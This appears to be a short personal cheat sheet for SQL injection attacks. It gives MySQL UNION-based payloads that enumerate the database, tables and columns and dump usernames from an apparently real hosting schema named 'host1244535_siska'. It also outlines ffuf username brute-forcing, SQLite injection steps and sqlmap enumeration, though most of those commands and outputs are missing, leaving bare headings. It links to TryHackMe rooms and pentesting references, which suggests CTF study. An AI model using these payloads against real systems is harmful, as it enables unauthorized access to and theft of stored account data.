SQLI

UNION BASED SQLI

info gathering

1'union select 1,2,3,databases(),user(),version(),7 -- -

tables name dump

'union select 1,2,3,4,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'host1244535_siska'),version(),7 -- -

column dump

'union select 1,2,3,4,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'host1244535_siska'),version(),7 -- -

table data dump

'union select 1,2,3,4,(SELECT GROUP_CONCAT(username) from host1244535_siska.accounts ),version(),7 -- -

or

'union select 1,2,3,4,(SELECT username from host1244535_siska.accounts ),version(),7 -- -

ref:- https://www.hackingloops.com/sql-injection-union-based-exploitation-part-2-the-injection/ https://book.hacktricks.xyz/pentesting-web/sql-injection

DVWA Union based sqli

Username Brutforce with FFUF

simple request Username_Brutforce_with_FFUF_00

save req to req.txt

run below FFUF command

Username_Brutforce_with_FFUF_01 NOTE:- we might need to pass -u with url to use http or https

python script :- https://github.com/BhattJayD/LessonLearned-BruteForce-Script Tested on https://tryhackme.com/room/lessonlearned

SQLITE Sql injection

Useful link to follow:- https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf https://tryhackme.com/room/unstabletwin#

1st step SIMPLE ENUM

2nd step TABLE NAME EXTRACTION

3rd step COLUMN NAME EXTRACTION

4rd step DATA EXTRACTION FROM COLUMN

Use full sql commands

Print in JSON

SQLMAP

read from file

Ignore Code

When server gives specific status code and error out use below command

Enum with sqlmap

  1. DB enum

  2. Table enum

  3. Columns emum

  4. DB Dump

DB enum

output

Table Enum

Output

Columns enum

output

Dump the DB

output

Last updated